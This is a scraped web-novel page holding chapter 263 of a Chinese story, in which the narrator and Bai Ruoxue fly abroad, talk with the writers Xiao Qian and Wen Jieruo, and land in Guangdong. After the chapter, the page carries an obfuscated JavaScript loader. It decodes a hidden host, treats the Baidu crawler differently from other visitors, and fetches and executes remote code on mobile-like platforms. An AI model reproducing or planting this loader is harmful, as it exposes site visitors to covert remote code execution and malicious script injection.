返回第263章 万里长城永不倒  南柯一凉首页

关灯 护眼     字体:

更快章节推荐:三易小说网【高速更新_www.31fq.com】 

上一章 目录 下一页

第263章万里长城永不倒

白若雪怎么说服白要山,方言不得而知。

只知道,白若雪雷厉风行,很干脆地向燕京大学申请办理休学,没有丝毫的犹豫。

方言带着白若雪,跑前跑后,在东郊民巷进进出出了六七回,终于通过了表格上的层层审核,盖齐了所有的公章,领到了手写护照。

得亏托了关系,要不然,不知道要等到猴年马月,饶是如此,也了20多天的工夫。

4月,首都机场。

方言和白若雪走进机舱,迎面遇到了一对头发白的老人,男的是萧乾,女的是他的妻子,文洁若,《人民文学》的编辑,负责外国文学,是国内翻译日文作品最多的翻译家。

比如,川端康成、芥川龙之介……

而萧乾老爷子,在文学翻译领域就更不得了了,跟李尧堂、沈雁氷等人交情很深。

当然,真要论起辈分和关系的话,方小将跟萧乾应该算是平辈。

萧乾是沈丛文的弟子,而方言是沈丛文的记名弟子,只不过萧乾和沈丛文之间的感情很复杂,恩恩怨怨,一时间也说不明,理不清。

他们这一趟赴美,并不是去参加聂华灵的国际写作计划,而是去她所在的爱荷华大学,就职客座教授,再到美国的大学巡回讲学。

刚好顺路,章光年于是拜托萧乾,一路上对方言他们多多照顾,到了美国也一样。

“萧老,文老。”

方言和白若雪微微弯腰,问了声好。

“不用这么多礼,赶快坐下来。”

萧乾慈眉善目地看着他们。

方言放好行李,余光注意到白若雪熟络地文洁若聊起了天,两人好像之前就认识一样。

萧乾干脆跟白若雪交换了位置,让她们聊她们的,自个跟方言谈到沈雁氷,谈到文学。

“你这些年的表现,如果茅公还在世的话,看了以后,想必一定会非常欣慰的……”

“不不,我觉得我做得还不够。”

方言轻轻地叹了口气。

萧乾拍了下他的肩,话锋一转,“《一代宗师黄飞鸿》,我看了几遍,很不错,听光年说,你这小说,还有第二部,有这回事吗?”

方言点头说,稿子已经寄去《城》编辑部,不出意外的话,这几天就会发表。

“那岂不是一到粤东,就能看到了?”

萧乾笑脸盈盈。

“不用等到那个时候,我现在就带着《城》最新一期的样刊。”

方言从公文包里掏出了本杂志。

萧乾颇为欣赏地看着他,“好好,你能想到带些自己以前的作品出国,这很好啊。”

方言咧嘴发笑,本来没想到这一茬,多亏了王朦的提醒,便带上《利剑行动》等小说。

能翻译出版,多挣外汇,是一回事。

把战忽进行到底,是另一回事,最好是华夏特种作战这些虚虚实实的情报,传播开来。

我战忽局方小将,能有什么坏心眼呢?

…………

从1975年开始,坐民航飞机的旅客可以免费赠送一瓶茅台,之后又改为免费喝。

这一规定,持续了13年左右。

直到20世纪80年代末,才取消。

除了能喝到茅台以外,民航航班还会向旅客赠送五支装的中华和熊猫香烟,还有钥匙扣、扑克牌、梳子、扇子、飞机模型、胸针、领带夹、记事本等各式各样的小礼品。

此时此刻,一名空姐模样的女子正在送餐,餐车上摆满各色饮料,甚至还有大龙虾。

方言没赶上送茅台的好年景,只能小喝两杯,微醺的眯着,算是休息了一会。

“女士们先生们,飞机即将着陆,请您再次确认系好安全带.….

随着广播响起,大家又精神起来。

方言透过窗户往下看,粤东就在下面。

这年头,香江是内地通往世界的中转站。

那么,粤东就是内地通往香江的中转站。

下了飞机,方言走出通道,都不用找,就有数人高举标牌:“《城》出版社”。

『加入书签,方便阅读』

上一章 目录 下一页

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};